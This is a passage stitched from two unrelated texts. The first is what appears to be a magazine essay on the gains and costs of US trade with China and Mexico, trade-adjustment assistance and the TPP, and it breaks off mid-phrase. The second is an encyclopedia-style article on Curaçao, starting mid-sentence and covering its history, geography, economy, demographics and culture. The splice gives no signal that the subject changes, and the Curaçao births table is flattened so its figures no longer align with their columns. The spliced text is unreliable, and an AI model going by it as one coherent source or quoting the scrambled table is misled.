In any case, cheap imports were a windfall for American consumers. Excluding food and energy, prices of goods have fallen almost every year since NAFTA. Clothes now cost the same as they did in 1986; furnishing a house is as cheap as it was 35 years ago. More trade brought more choice, too. Robert Lawrence and Lawrence Edwards, two economists, estimate that trade with China alone put $250 a year into the pocket of every American by 2008. The gains from cheap stuff flowed disproportionately to the less well-off, because the poor spend more of their incomes on goods than the rich.
At the same time, trade created new markets for American firms. In 1993 America sold nearly $10 billion-worth of cars and parts to Mexico, at today’s prices. By 2013 that had risen to $70 billion. Many American firms have become tightly integrated across the southern border, with low-skilled work done in Mexico and more complex tasks done at home. Exports to China grew by almost 200% between 2005 and 2014, with agriculture and the aerospace and car industries leading the charge. Some workers have benefited from rising exports, because firms that export pay more; one estimate puts the export wage-premium at 18%. Outsourcing low-wage assembly has also increased the productivity of America’s high-skilled workers. For example, Apple’s ability to assemble its iPhones cheaply in China has made the work of its American designers much more lucrative.
The gain and the pain
Trade, though, has an acute image problem. Its benefits are hard to perceive directly, spread as they are across large constituencies: consumers, exporters, and workers who may not realise just how much of what they make is shipped overseas. In contrast, its costs are highly concentrated. Cheap imports have been lethal for many American manufacturers, particularly in the midwestern rustbelt and in the South.
Economic theory predicts that trade, though often good for average incomes, will squeeze the pay of those workers whose skills are relatively abundant overseas. A sharp rise in the college premium—the additional wages earned by skilled workers—from around 30% in 1979 to almost 50% by 2000 seemed to corroborate that theory, as it coincided with the first wave of cheap imports (see chart). But for some time there was scant evidence of a causal link between the two trends. In 1995 Paul Krugman, a trade economist, estimated that trade with poor countries explained only a tenth of the growth in the skilled-worker premium in the 1980s. Mr Krugman and others found that technological change was more to blame. That would explain why the return to education increased even in poor countries, which trade theory did not predict.
But by 2008 Mr Krugman had changed his mind, warning that the sheer volume of trade with China and other poor countries was probably increasing inequality. In 2013 an updated estimate of his model showed that trade with poor countries depressed unskilled workers’ wages by 10% in 2011, up from 2.7% in 1979, according to Josh Bivens of the Economic Policy Institute, a think-tank. In that time, trade accounted for one-third of the rise in the college premium.
For other economists, the impact of trade on jobs was a growing concern. The sharp decline in American manufacturing employment began in 2000, just as Chinese imports took off (see chart). Yet on the extreme assumption that every dollar spent on imports replaced a dollar spent employing an American, Mr Lawrence calculates that between 2000 and 2007 Chinese imports caused, at most, 188,000 of 484,000 annual manufacturing-job losses. A recent, more detailed, estimate by Daron Acemoglu, David Autor and others chalks up about 1m of 5.5m manufacturing jobs lost between 1999 and 2011 to Chinese competition (with similar-sized job losses in other industries).
This implies that many other factors are in play. Technological change is probably the prime culprit for shrinking manufacturing employment. Productivity increases in the industry have been staggering. For instance, since 1994 carmaking’s contribution to GDP—to which outsourced production by American firms does not contribute—has fallen by about 10%. But there are 30% fewer carmaking jobs. This had led to the false impression that America’s car industry has outsourced most of its work. Such are the advances in manufacturing technology that if China disappeared tomorrow, far fewer jobs would return to America’s shores than left them.
But another recent achievement of trade economists has been to show that trade-induced job losses, while relatively small, are particularly painful: more so than those caused by technology. Until recently, most economists assumed that displaced workers could find new work relatively easily. After all, in June 2007, on the eve of the financial crisis, unemployment was 4.6%—lower than it was before the recession of the early 1990s. Between 2000 and 2007 Americans left 5m jobs a month and started 5.1m new ones. A million or so jobs lost to trade with China over more than a decade seems tiny by comparison.
But many workers displaced by Chinese imports did not simply find another job. Mr Autor and his colleagues have shown that, at local level, employment falls at least one-for-one with jobs lost to trade, and that displaced workers are unlikely to move to seek new work. The lowest-skilled who do find new jobs tend to move to similar, and thus similarly vulnerable, employment. One reason for this immobility could be that the economy is now an unwelcoming place for jobseekers without a university degree. The housing collapse of the late 2000s, which left many Americans trapped in negative equity, may have made things worse. This new strain of research has lent support to the claim of Dani Rodrik, a globalisation sceptic, that “If you are of low skill, have little education, and are not very mobile, international trade has been bad news for you pretty much throughout your entire life.”
The losers from trade became reliant on the government. One supposed safety-net was “trade-adjustment assistance” (TAA), a programme dating from 1962 and beefed up after the signing of NAFTA. If the Department of Labour accepts a petition for TAA, workers get an extension to their unemployment-insurance payments. For most of the 2000s, the extension lasted six months. In addition, beneficiaries can enroll in training programmes; if they do, they receive more payments while they train. Workers over 50 also get a kind of wage insurance which pays up to $12,000 over two years to compensate them for starting a new job on lower pay.
Until 2009 TAA was more limited for those displaced by Chinese competition than by NAFTA, notionally because no free-trade deal had been signed with the Chinese. It covered only those whose factories had shut because of direct competition from Chinese imports. It left out those further up the supply chain, or those whose employers had moved factories to China. Some workers decided to claim disability benefits instead. Mr Autor and his colleagues found that in areas affected by trade with China, new spending on disability benefits was more than double new spending on unemployment insurance and TAA (see chart).
Even for those workers who did qualify for TAA, support was woefully inadequate. Only about a third entered training programmes, perhaps because the budget was so low: just $1,700 per displaced worker in 2007. The wage-insurance scheme was better than nothing, but was not enough to make up for wage losses which frequently exceeded 20%. The workers who lost the most in lifetime earnings—the young—were not eligible for wage insurance. In the aftermath of the recession TAA was improved, and Mr Obama now wants to expand wage insurance. But it is too late for those who lost out in the 2000s.
Obstructing their progress
How does this bear on today’s trade-policy debates? Economists were wrong to think in the 1990s that the concentrated costs of trade, which textbooks always predicted, had somehow been avoided. It is now clear that they can be, in fact, worse than first thought. But the gains from trade, which are larger still, were never an illusion. Trade sceptics sometimes seem to suggest that workers were better-off before the 1980s, because protectionism was rife but growth stayed high. Yet living standards today are far higher. Trade barriers, which prevent such advances, are a futile, self-defeating way to help the unskilled.
Today’s trade agreements are very different from NAFTA or other deals which have brought down tariffs, because most levies have already been abolished. Only 10% of the projected gains from TPP, for instance, come from tariff reductions. Where tariffs do fall in the TPP, America is primed to benefit. For example, Uncle Sam’s carmakers will cheer the end of big Malaysian and Vietnamese tariffs on motors.
The TPP’s biggest provisions concern protection for intellectual property, liberalising trade in services and enforcing stricter labour and environmental standards. All this probably helps American workers. Mr Autor and two of his most frequent co-authors support the deal, arguing that the globalisation of manufacturing is a fait accompli. Blocking the TPP or other modern trade deals will not undo the failure to help those who lost out from trade with China.
To the extent that some Americans are harmed, which is inevitable, the projected gains of future free-trade agreements should be more than enough to compensate losers, if only the government can get itself organised. Peter Petri and Michael Plummer, two economists, estimate that the TPP will boost American incomes by $131 billion, or 0.5% of GDP. That is over 100 times what America spent on trade-adjustment assistance in 2009: there is plenty of scope to do more for the losers from trade.
Many gains from trade remain on the table. Some hope that China may eventually join the TPP. China’s urban middle class will double over the next decade and seek services, from finance to telecoms, which America could compete to provide. The TPP includes restrictions on state-owned enterprises. China will be welcomed into the agreement only if it curtails subsidies to its national champions.
Europe presents another opportunity. Negotiators hope that the coming Transatlantic Trade and Investment Partnership will harmonise regulatory standards across the Atlantic in industries such as pharmaceuticals, telecoms and transport. Removing all such “non-tariff |
economy of the island.[14]
In the Franco-Dutch War, Count Jean II d'Estrées planned to attack Curaçao. His fleet – 12 men of war, three fireships, two transports, a hospital ship, and 12 privateers – met with disaster, losing seven men-of-war and two other ships when they struck reefs off the Las Aves archipelago. They had made a serious navigational error, hitting the reefs on 11 May 1678, a week after setting sail from Saint Kitts. Curaçao marked the events by a day of thanksgiving, celebrated for decades into the 18th century, to commemorate the island's escape from being invaded by the French.
Although a few plantations were established on the island by the Dutch, the first profitable industry established on Curaçao was salt mining. The mineral was a lucrative export at the time and was a major factor for the island being part of international commerce.
Emergence of Willemstad [ edit ]
Willemstad, 1885
Many Dutch colonists grew affluent from the slave trade, and the city built impressive colonial buildings. Curaçao architecture blends Dutch and Spanish colonial styles. The wide range of historic buildings in and around Willemstad has resulted in the capital being designated as a UNESCO World Heritage Site. Landhouses (former plantation estates) and West African style kas di pal'i maishi (former slave dwellings) are scattered all over the island. Some have been restored and can be visited.
In 1795, a major slave revolt took place under the leaders Tula Rigaud, Louis Mercier, Bastian Karpata, and Pedro Wakao. Up to 4000 slaves on the northwest section of the island revolted. More than 1,000 slaves took part in extended gunfights. After a month, the slave owners suppressed the revolt.[15]
Curaçao's proximity to South America resulted in interaction with cultures of the coastal areas more than a century after independence of Netherlands from Spain. Architectural similarities can be seen between the 19th-century parts of Willemstad and the nearby Venezuelan city of Coro in Falcón State. The latter has also been designated a UNESCO World Heritage Site. Netherlands established economic ties with Viceroyalty of New Granada, which includes present-day countries of Colombia and Venezuela. In the 19th century, Curaçaoans such as Manuel Piar and Luis Brión were prominently engaged in the wars of independence of Venezuela and Colombia. Political refugees from the mainland (such as Simon Bolivar) regrouped in Curaçao. Children from affluent Venezuelan families were educated on the island.
During the 18th and 19th centuries, the island changed hands among the British, the French, and the Dutch several times. In the early 19th century, Portuguese and Lebanese migrated to Curaçao, attracted by the business opportunities. Stable Dutch rule returned in 1815 at the end of the Napoleonic wars, when the island was incorporated into the colony of Curaçao and Dependencies.
The Dutch abolished slavery in 1863, bringing a change in the economy with the shift to wage labour. Some inhabitants of Curaçao emigrated to other islands, such as Cuba, to work in sugarcane plantations. Other former slaves had nowhere to go and remained working for the plantation owner in the tenant farmer system.[16] This was an instituted order in which the former slave leased land from his former master. In exchange, the tenant promised to give up for rent most of his harvest to the former slave master. This system lasted until the beginning of the 20th century.
Historically, Dutch was not widely spoken on the island outside of colonial administration; its use increased in the late 19th and early 20th centuries.[17] Students on Curaçao, Aruba, and Bonaire were taught predominantly in Spanish until the late 19th century, when the British took Curaçao, Aruba, and Bonaire. Teaching of Spanish was restored when Dutch rule resumed in 1815. Also, efforts were made to introduce bilingual popular education in Dutch and Papiamentu in the late 19th century.[18]
When oil was discovered in the Maracaibo Basin town of Mene Grande in 1914, the fortunes of the island were dramatically altered. In the early years, both Shell and Exxon held drilling concessions in Venezuela, which ensured a constant supply of crude oil to the refineries in Aruba and Curaçao. Crude oil production in Venezuela was inexpensive. The integrated companies Shell and Exxon controlled the entire industry from pumping, transporting, and refining to marketing the end product. The refineries on Aruba and Curaçao operated in global markets and were profitable partly because of the margin between the production costs of crude oil and the revenues realized on products. This provided a safety net for losses incurred through inefficiency or excessive operating costs at the refineries.
One of the best-known events that occurred in Curaçao during the 20th century is the 1969 Curaçao uprising. The riots damaged Willemstad and resulted in the resignation of the Prime Minister as well as a social prestige for the local language Papiamento.
Recent events [ edit ]
Dutch architecture along Willemstad's harbour
Curaçao experienced an economic downturn in the early 1980s. Shell's refinery on Curaçao operated with significant losses from 1975 to 1979, and again from 1982 to 1985. Persistent losses, global overproduction, tougher competition, and low market expectations threatened the future of the Shell refinery in Curaçao. In 1985, after a presence of 70 years, Royal Dutch Shell decided to end its activities on Curaçao. Shell's announcement came at a crucial moment; the fragile economy of Curaçao had been stagnating for some time. Several revenue-generating endeavours suffered even more during this period: tourism from Venezuela collapsed after the devaluation of the bolivar, the transport industry deteriorated with deleterious effects on the profits of the Antillean Airline Company, and the Curaçao Dry Dock Company experienced major setbacks. The offshore industry (financial services) also experienced a downturn because of new tax laws in the United States.
In the mid-1980s, Shell sold the refinery for the symbolic amount of one Antillean guilder to a local government consortium. The aging refinery has been the subject of lawsuits in recent years, which charge that its emissions, including sulfur dioxide and particulate matter, far exceed safety standards.[19] The government consortium currently leases the refinery to the Venezuelan state oil company PDVSA.
Due to an economic slump in the late 1990s and early 2000s, emigration to the Netherlands has been high.[20]
On 1 July 2007, the island of Curaçao was due to become a country within the Kingdom of the Netherlands. On 28 November 2006, this was delayed when the island council rejected a clarification memorandum on the process. A new island council ratified this agreement on 9 July 2007.[21] On 15 December 2008, Curaçao was scheduled to become a separate country within the Kingdom of the Netherlands (as Aruba and the Netherlands Antilles were). A non-binding referendum on this plan took place in Curaçao on 15 May 2009, in which 52 percent of the voters supported these plans.[22]
Since the dissolution of the Netherlands Antilles [ edit ]
The dissolution of the Netherlands Antilles came into effect on 10 October 2010.[23][24] Curaçao became a country within the Kingdom of the Netherlands, with the Kingdom retaining responsibility for defence and foreign policy. The kingdom was also to oversee the island's finances under a debt-relief arrangement agreed between the two.[25] Curaçao's first prime minister was Gerrit Schotte. He was succeeded in 2012 by Stanley Betrian, ad interim. After elections in 2012 Daniel Hodge became the third prime minister, on 31 December 2012.[26] He led a demissionary cabinet until 7 June 2013, when a new cabinet under the leadership of Ivar Asjes was sworn in.[27]
Although Curaçao is autonomous, the Netherlands has interfered when necessary to ensure that parliamentary elections were held and to assist in finalizing an accurate budget. In July 2017, Prime Minister Eugene Rhuggenaath stated that he wants the island to take full responsibility, but asked for more cooperation and assistance from the Netherlands with suggestions for more innovative approaches to help Curaçao succeed, increasing the standard of living.[28][29] The Dutch government reminded Curaçao that it has provided assistance with Oil Refinery negotiations with the Chinese "on numerous occasions".[30]
Geography [ edit ]
Aerial view of the coast of Curaçao
Map of Curaçao
Encyclopaedie van Nederlandsch West-Indië 1914–1917. A detailed map of Curaçao from the
Curaçao, as well as the rest of the ABC islands and also Trinidad and Tobago, lies on the continental shelf of South America. Curaçao's highest point is the Sint Christoffelberg 372 m (1,220 ft).[31] The coastlines bays, inlets and hot springs offer an on-site source of natural mineral, thermal, or seawater used in hydrotherapy and mesotherapy, making this island one of many balneoclimateric areas in the region.
Flora [ edit ]
The flora of Curaçao differs from the typical tropical island vegetation. Xeric scrublands are common, with various forms of cacti, thorny shrubs, evergreen, and the watapana tree, called divi-divi on Aruba, characteristic for the ABC islands and the national symbol of Aruba.
Fauna [ edit ]
Climate [ edit ]
Curaçao has a semi-arid climate (Köppen climate classification BSh) with a dry season from January to September and a wet season from October to December.[32] The temperatures are relatively constant with small differences throughout the year. The trade winds bring cooling during the day and the same trade winds bring warming during the night. The coolest month is January with an average temperature of 26.5 °C (80 °F) and the warmest month is September with an average temperature of 28.9 °C (84 °F). The year's average maximum temperature is 31.2 °C (88 °F). The year's average minimum temperature is 25.3 °C (78 °F).
Curaçao lies outside the hurricane belt, but is still occasionally affected by hurricanes, as for example Hazel in 1954, Anna in 1961, Felix in 2007, and Omar in 2008. A landfall of a hurricane in Curaçao has not occurred since the United States National Hurricane Center started tracking hurricanes. Curaçao has, however, been directly affected by pre-hurricane tropical storms several times; the latest which to do so were Tomas in 2010, Cesar in 1996, Joan-Miriam in 1988, Cora and Greta in 1978, Edith and Irene in 1971, and Francelia in 1969. Tomas brushed Curaçao as a tropical storm, dropping as much as 265 mm (10.4 in) of precipitation on the territory, nearly half of the annual precipitation in one day.[33] This made Tomas one of the wettest events in the island's history,[34] as well as one of the most devastating; its flooding killed two people and caused over NAƒ60 million (US$28 million) in damage.[35][36]
Meteo, the Curaçao Weather Department, provides up to date information about weather conditions, via its website and mobile apps for iOS and Android.
Geology [ edit ]
The northern sea floor drops steeply within 60 m (200 ft) of the shore. This drop-off is known as the "blue edge".
On Curaçao, four major geological formations can be found: The lava formation, the Knip formation, the Mid-Curaçao formation and Limestone formations.[37]
Curaçao lies within the Caribbean large igneous province (CLIP) with key exposures of those lavas existing on the island consisting of the Curaçao Lava Formation (CLF). The CLF consists of 5 km of pillow lavas with some basalt intrusions. The ages of these rocks include 89 Ma for the lavas and 75 Ma for the poikilitic sills, though some sequences may have erupted as late as 62–66 Ma, placing them in the Cretaceous. Their composition includes picrite pillows at the base, followed by tholeiitic lavas, then hyaloclastites, then the poikilitic sills. The CLF was gradually uplifted until Eocene-Miocene limestone caps formed, before final exposure above sea level. Christoffelberg and the Zevenbergen (Seven Hills) portion of the island have exposures of the Knip Formation. This formation includes deepwater deposits of calcareous sands and fine clays, capped by siliceous chert containing radiolarians. Middle Curaçao contains alluvial soils from eroded CLF and limestone.[38][39]
Forts [ edit ]
Fort Nassau entrance.
When the Dutch arrived in 1634, they built forts at key points around the island to protect themselves from foreign powers, privateers, and pirates. Six of the best-preserved forts can still be seen today:
Fort Amsterdam (1635)
Fort Beekenburg (1703)
Fort Nassau (1797)
Waterfort (1826)
Riffort (1828) [40]
Piscadera Bay Fort (built between 1701 and 1704)
In 1957, the Hotel Van der Valk Plaza Curaçao was built on top of the Waterfort.[41]
The Riffort contains restaurants and shops. It is located on the opposite side of the Waterfort across the entrance to the harbour in Otrobanda. In 2009, the Renaissance Curaçao Resort and Casino opened next to the Riffort.[42][43]
Government [ edit ]
Map of the European Union in the world with overseas countries and territories and outermost regions
The government of Curaçao takes place in a framework of a parliamentary representative democratic country. The Prime Minister is the head of government. Executive power is exercised by the government. Legislative power is vested in both the government and parliament.
The judiciary is independent of the executive and the legislature. Convicted felons are held at the Curaçao Centre for Detention and Correction prison.[citation needed]
Curaçao has full autonomy on most matters, with the exceptions summed up in the Charter for the Kingdom of the Netherlands under the title "Kingdom affairs".[citation needed]
Military [ edit ]
Two Dutch naval bases, Parera and Suffisant, are located on the island of Curaçao. Officers of the Arubaanse Militie complete further training on Curaçao.
On the west side of Curaçao International Airport are hangars for the two Bombardier Dash 8 Maritime Patrol Aircraft and two AgustaWestland AW139 helicopters of the Dutch Caribbean Coast Guard. This was until 2007 a naval airbase of the Royal Netherlands Navy, which operated the base for 55 years, with a wide variety of aircraft in the past years Fireflies, Avengers, Trackers, Neptunes, Fokker F-27's, P-3C Orions, Fokker F-60's and several helicopters. After the political decision to sell all Orions the airbase wasn't needed anymore.
The west end of the airport is a USAF Forward Operating Location (FOL). The base hosts AWACS and transport aircraft. Until 1999 the USAF operated a small fleet of F-16 fighters from the FOB.
Conscription [ edit ]
Suffisant Naval Base has facilities used for conscription in the Caribbean, there has not been military conscription since 1997, but a form of civil conscription has been in place. This type of conscription offers underprivileged Antillean young people the chance of undertaking professional training.[44]
Economy [ edit ]
Offshore Oil platform in Curaçao
Curaçao has an open economy, with tourism, international trade, shipping services, oil refining,[45] storage (oil and bunkering) and international financial services being the most important sectors. The Venezuelan oil company PDVSA has a lease on the island's oil refinery expiring in 2019; the facility employs 1000 people, refining oil from Venezuela for export to the US and Asia.[46] Schlumberger, the world's largest oil field services company is incorporated in Curaçao.[47] The Isla oil refinery is claimed to be responsible for Curaçao's position in the world's top five highest countries for CO2 emissions per capita.[48]
Curaçao has its own currency and its economy is well developed, supporting a high standard of living, ranking 46th in the world in terms of GDP (PPP) per capita and 27th in the world in terms of nominal GDP per capita. Curaçao possesses a high income economy, as defined by the World Bank. Activities related to the port of Willemstad (like the Free Trade Zone) make a significant contribution to the economy. To achieve the government's aim to make its economy more diverse, efforts are being made to attract more foreign investment. This policy, called the "Open Arms" policy, features a heavy focus on information technology companies.[49][50][51]
Reduced foreign demand due to Venezuelan unrest has led to decreased exports along with increased public demands for services and goods which has resulted in economic stagnation since 2016. Expansion was recorded in the construction, financial intermediation, and utilities sectors while other aspects of the economy contracted.[52]
Tourism [ edit ]
Jan Thiel beach Curaçao
While tourism plays a major role in Curaçao's economy, it is less reliant on tourism than other Caribbean countries. Most tourists originate from the Netherlands, the eastern United States, South America and other Caribbean Islands. It is a leader in the Caribbean in cruise tourism growth with 610,186 cruise passengers in 2013, a 41.4% increase over the prior year.[53] Hato International Airport received 1,772,501 passengers in 2013 and recently announced capital investments totaling US$48 million aimed at transforming the airport into a regional hub by 2018. In 2017 the tourism sector was expected grow at 1% in terms of the total tourist stay over and by 15% in total cruise visitors versus 2016.[54]
The island's insular shelf has a sharp drop-off known as the "Blue Edge" which is often visited by Scuba diving tourists.[55] Coral reefs for snorkeling and scuba diving can be reached without a boat. The southern coast has calm waters as well as many small beaches, such as Jan Thiel and Cas Abou. The coastline of Curaçao features numerous bays and inlets which serve as popular mooring locations for boats.[56]
In June 2017, the island was named the Top Cruise Destination in the Southern Caribbean by Cruise Critic, a major online forum. The winners of the Destination Awards were selected based on comments from cruise passengers who rated the downtown area of Willemstad as "amazing" and the food and shopping as "excellent".[57]
Some of the coral reefs are affected by tourism. Porto Marie Beach is experimenting with artificial coral reefs in order to improve the reef's condition.[58] Hundreds of artificial coral blocks that have been placed are now home to a large array of tropical fish. Its now under investigation if and how the sewer waste of hotels is partial cause off the dying off the coral reef.[59]
The Curaçao Sea Aquarium and the Dolphin Academy share this islet on the west coast of Curaçao, with Seaquarium Beach nearby.
Labour [ edit ]
In 2016, a Labor Force Survey (LFS) indicated that the unemployment rate was 13.3%. For residents aged 15–64, the employment rate was 70.4%.[60][61]
Financial services [ edit ]
Curaçao's history in financial services dates back to World War I. Prior to this period, the financial arms of local merchant houses functioned as informal lenders to the community. However, at the turn of the century, Curaçao underwent industrialization, and a number of merchant houses established private commercial banks.[62] As the economy grew, these banks began assuming additional functions eventually becoming full-fledged financial institutions.
The Dutch Caribbean Securities Exchange is located in the capital of Willemstad, as is the Central Bank of Curaçao and Sint Maarten; the latter of which dates to 1828. It is the oldest central bank in the Western Hemisphere.[63] The island's legal system supports a variety of corporate structures and is a corporate haven. Though Curaçao is considered a tax haven, it adheres to the EU Code of Conduct against harmful tax practices. It holds a qualified intermediary status from the United States Internal Revenue Service. It is an accepted jurisdiction of the OECD and Caribbean Financial Action Task Force on Money Laundering. The country enforces Anti-Money Laundering and Counter-Terrorism funding compliance.[citation needed]
Foreign Account Tax Compliance Act [ edit ]
Banco di Caribe at Willemstad
On 30 June 2014, Curaçao[64] was deemed to have an Inter-Governmental Agreement (IGA) with the United States of America with respect to the "Foreign Account Tax Compliance Act" of the United States of America. The Tax Information Exchange Agreement signed in Washington, D.C. on 17 April 2002[65] between the U.S. and the Kingdom of the Netherlands includes Curaçao, and was updated with respect to Curaco in 2014, taking effect in 2016.
Trade [ edit ]
Curaçao trades mainly with the United States, Venezuela, and the European Union. It has an Association Agreement with the European Union which allows companies which do business in and via Curaçao to export products to European markets,[66] free of import duties and quotas. It is also a participant in the US Caribbean Basin Initiative allowing it to have preferential access to the US market.[67]
Prostitution [ edit ]
Prostitution in Curaçao is legal only for foreign women who get a temporary permit to work in the large open-air brothel called "Le Mirage" or "Campo Alegre." Using prostitution services is legal for men (locals included). The brothel has operated near the airport since the 1940's. Curaçao monitors, contains and regulates the industry. The government states that the workers in these establishments are thereby given a safe environment and access to medical practitioners. This approach does exclude local women (or men) to legally make a living from prostitution and does lead to loss of local income as the foreign prostitutes send or take most of their earnings home.[68]
The U.S. State Department has cited anecdotal evidence claiming that, "Curaçao...[is a] destination island... for women trafficked for the sex trade from Peru, Brazil, Colombia, the Dominican Republic, and Haiti, according to local observers. At least 500 foreign women reportedly are in prostitution throughout the five islands of the Antilles, some of whom have been trafficked."[69] The US Department of State has said that the government of Curaçao frequently underestimates the extent of human trafficking problems.[69]
Demographics [ edit ]
Births and deaths[70]
Year Population Live births Deaths Natural increase Crude birth rate Crude death rate Rate of natural increase TFR 2009 1,898 1,114 784 12.9 7.6 5.3 2.038 2010 2,032 1,246 786 13.7 8.4 5.3 2.199 2011 1,974 1,276 698 13.1 8.5 4.6 2.076 2012 2,039 1,240 793 13.4 8.2 5.2 2.168 2013 152,760 1,959 1,200 709 12.7 8.1 4.6 2.052 2014 1,963 1,370 593 12.6 8.8 3.8 2.009 2015 1,874 1,398 476 11.9 8.8 3.1 1.863 2016 1,789 1,482 307 11.2 9.3 1.9
Structure of the population[71]
As of 1 July 2013 :
Age Group Male Female Total % Total 70,342 83,479 153,821 100 0–4 4,919 4,615 9,534 6.20 5–9 4,824 4,648 9,472 6.16 10–14 5,362 5,028 10,390 6.75 15–19 5,510 5,377 10,886 7.08 20–24 4,165 4,371 8,536 5.55 25–29 3,672 4,403 8,075 5.25 30–34 3,527 4,803 8,330 5.42 35–39 3,939 5,165 9,103 5.92 40–44 5,031 6,337 11,367 7.39 45–49 5,352 6,811 12,163 7.91 50–54 5,506 7,197 12,703 8.26 55–59 4,801 6,130 10,931 7.11 60–64 4,271 5,327 9,597 6.24 65–69 3,507 4,477 7,983 5.19 70–74 2,419 3,236 5,655 3.68 75–79 1,794 2,473 4,267 2.77 80–84 1,056 1,601 2,657 1.73 85–89 476 897 1,373 0.89 90–94 166 430 596 0.39 95–99 42 129 171 0.11 100+ 8 30 38 0.02
Age group Male Female Total Percent 0–14 15,105 14,291 29,396 19.11 15–64 45,769 55,915 101,684 66.11 65+ 9,468 13,273 22,741 14.78
Languages [ edit ]
Curaçao is a polyglot society. The official languages are Dutch, Papiamentu and English.[1] However, Dutch is the sole language for all administration and legal matters.[72] Most of Curaçao's population is able to converse in at least two of the languages of Papiamentu, Dutch, English, and Spanish.
The most widely spoken language is Papiamentu, a Portuguese creole with African, Dutch and Spanish influences, spoken in all levels of society. Papiamentu was introduced as a language of primary school education in 1993, making Curaçao one of a handful of places where a creole language is used as a medium to acquire basic literacy.[73] Spanish and English also have a long historical presence in Curaçao. Spanish became an important language in the 18th century due to the close economic ties with Spanish colonies in what are now Venezuela and Colombia[17] and several Venezuelan TV networks are received. Use of English dates to the early 19th century, when the British took Curaçao, Aruba and Bonaire. When Dutch rule resumed in 1815, officials already noted wide use of the language.[17]
According to the 2001 census, Papiamentu is the first language of 81.2% of the population. Dutch is the first language of 8%, Spanish of 4%, and English of 2.9%.[74] However, these numbers divide the population in terms of first language and do not account for the high rate of bilingualism in the population of Curaçao.
Ethnicities [ edit ]
A Bulawaya dance
Because of its history, the island's population comes from a number of ethnic backgrounds. While the majority of Curaçaoans are of Black African descent, there are sizeable minorities of Dutch, Latin American, French, South Asian, East Asian, Javanese, Portuguese and Levantine people. Additionally, there are both Sephardic and Ashkenazi Jews.
Religion [ edit ]
Religion in Curaçao[75] Roman Catholic (72.8%) Protestant (16.7%) None (6%) Other (Jewish, Hindu, Muslim, etc.) (3.8%) Unspecified (0.6%)
The religious breakdown of the population of Curaçao, according to a 2011 estimate:[75]
This includes a shift towards the charismatic renewal or charismatic movement since the mid-1970s. Other denominations include the Seventh-day Adventist Church and the Methodist Church. Alongside these Christian denominations, some inhabitants practice Montamentu and other diaspora African religions.[76] Like elsewhere in Latin America, Pentecostalism is on the rise. There are also practising Muslims and Hindus.
The Catholic diocese of Willemstad encompasses all the territory of the Kingdom of the Netherlands in the Caribbean which includes Aruba, Curaçao, Sint Maarten, and the islands of Bonaire, St. Eustatius and Saba. The diocese is also a member of the Antilles Episcopal Conference.
While small, Curaçao's Jewish community has had a significant impact on the island's history.[14] Curaçao has the oldest active Jewish congregation in the Americas, dating to 1651. The Curaçao synagogue is the oldest synagogue of the Americas in continuous use, since its completion in 1732 on the site of a previous synagogue.
Education [ edit ]
Public education is based on the Dutch educational system and besides the public schools, private and parochial schools are also available. Since the introduction of a new public education law in 1992, compulsory primary education starts at age six and continues six years, secondary lasts for another four.[77]
The main institute of higher learning is the University of Curaçao, enrolling 2,100 students.[77] The comprehensive model of education is under influences from both Dutch and American's education offering. Other higher education offering on the island include offshore medical schools, language schools and academies for fine art, music, police, teacher and nurse-training.[78]
Culture [ edit ]
Literature [ edit ]
Despite the island's relatively small population, the diversity of languages and cultural influences on Curaçao have generated a remarkable literary tradition, primarily in Dutch and Papiamentu. The oral traditions of the Arawak indigenous peoples are lost. West African slaves brought the tales of Anansi, thus forming the basis of Papiamentu literature. The first published work in Papiamentu was a poem by Joseph Sickman Corsen entitled Atardi, published in the La Cruz newspaper in 1905. Throughout Curaçaoan literature, narrative techniques and metaphors best characterized as magic realism tend to predominate. Novelists and poets from Curaçao have made an impressive contribution to Caribbean and Dutch literature. Best known are Cola Debrot, Frank Martinus Arion, Pierre Lauffer, Elis Juliana, Guillermo Rosario, Boeli van Leeuwen and Tip Marugg.
Cuisine [ edit ]
Local food is called Krioyo (pronounced the same as criollo, the Spanish word for "Creole") and boasts a blend of flavours and techniques best compared to Caribbean cuisine and Latin American cuisine. Dishes common in Curaçao are found in Aruba and Bonaire as well. Popular dishes include: stobá (a stew made with various ingredients such as papaya, beef or goat), Guiambo (soup made from okra and seafood), kadushi (cactus soup), sopi mondongo (intestine soup), funchi (cornmeal paste similar to fufu, ugali and polenta) and a lot of fish and other seafood. The ubiquitous side dish is fried plantain. Local bread rolls are made according to a Portuguese recipe. All around the island, there are snèks which serve local dishes as well as alcoholic drinks in a manner akin to the English public house.
The ubiquitous breakfast dish is pastechi: fried pastry with fillings of cheese, tuna, ham, or ground meat. Around the holiday season special dishes are consumed, such as the hallaca and pekelé, made out of salt cod. At weddings and other special occasions a variety of kos dushi are served: kokada (coconut sweets), ko'i lechi (condensed milk and sugar sweet) and tentalaria (peanut sweets). The Curaçao liqueur was developed here, when a local experimented with the rinds of the local citrus fruit known as laraha. Surinamese, Chinese, Indonesian, Indian and Dutch culinary influences also abound. The island also has a number of Chinese restaurants that serve mainly Indonesian dishes such as satay, nasi goreng and lumpia (which are all Indonesian names for the dishes). Dutch specialties such as croquettes and oliebollen are widely served in homes and restaurants.
Sports [ edit ]
On 27 March 2018, the Curaçao football team beat Bolivia 1–0 in a friendly match. Bolivia were ranked 47th in the world compared to Curaçao's ranking of 82nd.
In 2004, the Little League Baseball team from Willemstad, Curaçao, won the world title in a game against the United States champion from Thousand Oaks, California. The Willemstad lineup included Jurickson Profar, the standout shortstop prospect who now plays for the Texas Rangers of Major League Baseball, and Jonathan Schoop, who now plays for the Minnesota Twins.
In the 2006 World Baseball Classic, Curaçaoans played for the Netherlands team. Shairon Martis, born in Willemstad, contributed to the Dutch team by throwing a seven-inning no-hitter against Panama (the game was stopped due to the mercy rule).
The 2010 documentary film, Boys of Summer,[79] details Curaçao's Pabao Little League All-Stars winning their country's eighth straight championship at the 2008 Little League World Series, then going on to defeat other teams, including Puerto Rico and the Dominican Republic, and earning a spot in Williamsport.
The prevailing trade winds and warm water make Curaçao a location for windsurfing.[80][81] One factor is that the deep water around Curaçao makes it difficult to lay marks for major windsurfing events, thus hindering the island's success as a windsurfing destination.
Kitesurfing or kiteboarding is also loved on Curaçao. The spot for kiteboarding is located at the St. Joris Bay, past the Ostrich Farm.
There is warm, clear water around the island. Scuba divers and snorkelers may have visibility up to 30 metres (98 feet) at the Curaçao Underwater Marine Park, which stretches along 20 kilometres (12 miles) of Curaçao's southern coastline.[82]
